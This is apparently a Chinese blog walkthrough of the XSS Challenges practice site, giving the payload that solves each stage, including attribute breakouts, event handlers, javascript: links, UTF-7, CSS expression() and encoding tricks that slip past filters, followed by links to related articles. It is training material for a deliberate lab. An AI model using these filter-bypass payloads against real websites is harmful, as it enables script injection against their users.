概述:

https://xss-quiz.int21h.jp/

Stage #1

payload: <script>alert(document.domain);</script>

Stage #2

http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70

尝试: <script>alert(document.domain);</script> 未果

input 没有闭合

payload: "><svg onload=alert(document.domain)>

Stage #3

http://xss-quiz.int21h.jp/stage-3.php?sid=d362dd49b96c30f3e9a4a6ea0abafb0cef59ed2d

备注:这里因为都是post请求,p1 变量是不存在跨站的,p2变量才存在问题,因此需要抓包

;javascript:alert(document.domain);//

p2=<script>alert(document.domain);</script>

Stage #4

http://xss-quiz.int21h.jp/stage_4.php?sid=d47663090ecc0b8d55ae73ee3753ead52c63103e

p3 为隐藏的属性,使用inspector删除掉text=hidden

payload:"><svg onload=alert(document.domain)>;

Stage #5

http://xss-quiz.int21h.jp/stage–5.php?sid=e9dd07b6e86c5314a2e574e887faa9482de330bf

通过尝试发现,闭合即可

<input type="text" name="p1" maxlength="15" size="30" value="hack404">

但是由于前端对字符数量做了限制,因此抓包修改绕过

Stage #6

http://xss-quiz.int21h.jp/stage-no6.php?sid=b76ebfa651652f2c22f8ddbe264941287667706c

问题点:对< > 做了转移,利用事件进行绕过

<input type="text" name="p1" size="50" value="" onmouseover=alert(document.domain);//">

payload:

" onmouseover=alert(document.domain);//

123" onmouseover="alert(document.domain);

<input type="text" name="p1" size="50" value="123" onmouseover="alert(document.domain);">

Stage #7

http://xss-quiz.int21h.jp/stage07.php?sid=f433ab35e367d5a94100aa4e0f694c3e63d67105

<input type="text" name="p1" size="50" value=&lt;script&gt;alert(document.domain);&lt;/script&gt;>

<input type="text" name="p1" size="50" value=;onmouseover=alert(document.domain);//>

对< > " ' 都已近做了转义

payload: view plaincopyprint  onmousemove=alert(document.domain)

Stage #8

http://xss-quiz.int21h.jp/stage008.php?sid=4301b185b563c91208e0af232d7f016885e863e0

a 标签,插入,点击即可触发

<a href="javascript:alert(document.domain);">javascript:alert(document.domain);</a>

Stage #9

http://xss-quiz.int21h.jp/stage_09.php?sid=558484a712d793c446e3dc409601eaf126e73d25

此问题,目前的浏览器已经不支持,因为它依赖于对UTF-7的支持

Solution:+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg-&charset=euc-jp

Stage #10

http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276

<input type="text" name="p1" size="50" value=""><svg onload=alert(document.)>">

看来是长字符限制了,我们尝试短的字符数尝试下

payload: " onmouseover=alert(document.domdomainain); x="

<input type="text" name="p1" size="50" value="" onmouseover=alert(document.domain); x="">

Stage #11

http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3

这里主要是针对关键字,进行了混淆

"><a href="javascript:alert(document.domain);">hack404</a>

<input type="text" name="p1" size="50" value=""><a href="javaxscript:alert(document.domain);">hack404</a>">

这里我们使用特殊字符进行绕过:

                %09           Horizontal tab

"><a href="javascr&#09ipt:alert(document.domain);">hack404</a>

<a href="javascr&#09ipt:alert(document.domain);">hack404</a>">

Stage #12

http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb

Passed with IE
Stage12: http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
Solution: "onmouseover=alert(document.domain);

Stage #13

http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad

Passed with IE
Stage13: http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad
Solution: xss:expression(alert(document.domain));"

Stage #14

http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8

Passed with IE
Stage14: http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8
Solution: xss:expre/**/ssion(alert(document.domain));"

Stage #15

http://xss-quiz.int21h.jp/stage__15.php?sid=26ac2a0522c04a788c217fd8d7847aab1626f726

hex encode :

< >

\x3c \x3e

payload:

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

Stage #16

http://xss-quiz.int21h.jp/stage00000016.php?sid=67973758e07ac879612c31437a2e1fb283b760e7

unicode encoding < >

https://www.branah.com/unicode-converter

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Stage #17

http://xss-quiz.int21h.jp/stage-No17.php?sid=53342e06720dc7d4fa4224eb3c13bf966d823056

存在于老版本的IE

Stage #18

http://xss-quiz.int21h.jp/stage__No18.php?sid=170f1d30f88cf627174033ec5b73578276b94fc3

存在于老版本的IE

Stage #19

http://xss-quiz.int21h.jp/stage_–19.php?sid=787870a01e603b0c0d0d6c464c0595883e2c10ce

访问404了。。

参考:

https://blogs.tunelko.com/2013/12/02/xss-challenges/

https://github.com/matachi/MaTachi.github.io/blob/master/src/pages/solutions-to-the-wargame-xss-challenges-at-xss-quiz-int21h-jp.md

XSS Challenges xss-quiz.int21h.jp的更多相关文章

  1. XSS练习平台-XSS Challenges

    XSS Challenges http://xss-quiz.int21h.jp/   XSS基础不好的建议优先查看 关于XSS中使用到的html编码 js编码各种场景用法 http://su.xmd ...

  2. XSS Challenges 练习(1-10)

    这几天对XSS Challenges平台进行了练习,网上也有一些相应的解答博客,但是写得都差不多,我觉得可以试一下从怎么做这种题的角度出发去思考问题. 第一题:http://xss-quiz.int2 ...

  3. XSS Challenges学习笔记 Stage#1~ Stage#19

    开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直 ...

  4. XSS Challenges闯关笔记

    前言 做xss做疯了再来一个. 地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的. 做到第九关就跪了,而总共有二十关.一半都还没有 ...

  5. XSS Challenges练习及解答

    一个偶然的机会在知道创宇的技能表里看到了一个练习XSS的网站http://xss-quiz.int21h.jp,正好想研究这个,于是试着做了一下. 第一.二题是最简单的,直接在搜索框中输入以下代码就成 ...

  6. xss challenges平台学习

    虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xs ...

  7. XSS Challenges(1-12关)

    XSS Challenges解析: 1. 什么过滤也没有,而且是直接输出.<scrip>alert(document.domain);</script>即可通过 2. 直接输入 ...

  8. 信息安全-攻击-XSS:XSS/CSS 攻击

    ylbtech-信息安全-攻击-XSS:XSS/CSS 攻击 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.这些恶意 ...

  9. XSS Challenges

    平台: http://www.zixem.altervista.org/XSS/ level1: Payload: http://www.zixem.altervista.org/XSS/1.php? ...

随机推荐

  1. Linux环境安装配置JDK

    本文安装环境为Ubuntu14 64位,jdk版本为jdk1.6.0_38,安装文件名为jdk-6u38-linux-x64.bin(根据系统不同,下载不同的安装文件) 下载地址:http://www ...

  2. 【机器学习】使用gensim 的 doc2vec 实现文本相似度检测

    环境 Python3, gensim,jieba,numpy ,pandas 原理:文章转成向量,然后在计算两个向量的余弦值. Gensim gensim是一个python的自然语言处理库,能够将文档 ...

  3. 集群搭建(一)克隆虚拟机静态IP设置

    [抛出问题] 当在搭建集群的时候,我们会将一个安装好相关程序的虚拟机进行克隆,克隆之后,我们会发下一些问题:就是原先的eth0 网卡不见了 原先的网卡 而克隆之后的网卡 会发现原来的网卡eth0 变为 ...

  4. python识别图片文字

    因为学校要求要刷一门叫<包装世界>的网课,而课程里有200多道选择题,而且只能在手机完成,网页版无法做题,而看视频是不可能看视频的,这辈子都不可能看...所以写了几行代码来进行百度搜答案. ...

  5. elasticSearch+spring 整合 maven依赖详解

    摘自:http://www.mayou18.com/detail/nTxPQSyu.html [Elasticsearch基础]elasticSearch+spring 整合 maven依赖详解 Ma ...

  6. Springboot2.0(Spring5.0)中个性化配置项目上的细节差异

    在一般的项目中,如果Spring Boot提供的Sping MVC不符合要求,则可以通过一个配置类(@Configuration)加上@EnableWebMvc注解来实现完全自己控制的MVC配置.但此 ...

  7. GMT与Etc/GMT地区信息的时区转换

    GMT 地区信息的时区 在将来的版本中可能不再支持以下左面一列中的地区信息的时区.可能从 /usr/share/lib/zoneinfo 删除这些文件.左列中的地区信息的时区用右列中对等的时区来替换. ...

  8. Spring Security 实战:QQ登录实现

    准备工作 1.在 QQ互联 申请成为开发者,并创建应用,得到APP ID 和 APP Key.2.了解QQ登录时的 网站应用接入流程.(必须看完看懂) 为了方便各位测试,直接把我自己申请的贡献出来:A ...

  9. 7-20 jquery遍历节点,bootstrap模态框绑定事件和解绑,mock.js,model.urlroot,id,打基础

    7-19 1:$(event.target).parents().filter("tr").find("host-name") 为什么选择不到别的host-na ...

  10. linux下怎么样上传下载文件夹

    Linux下目录复制:本机->远程服务器 scp -r /home/shaoxiaohu/test1 zhidao@192.168.0.1:/home/test2 test1为源目录,test2 ...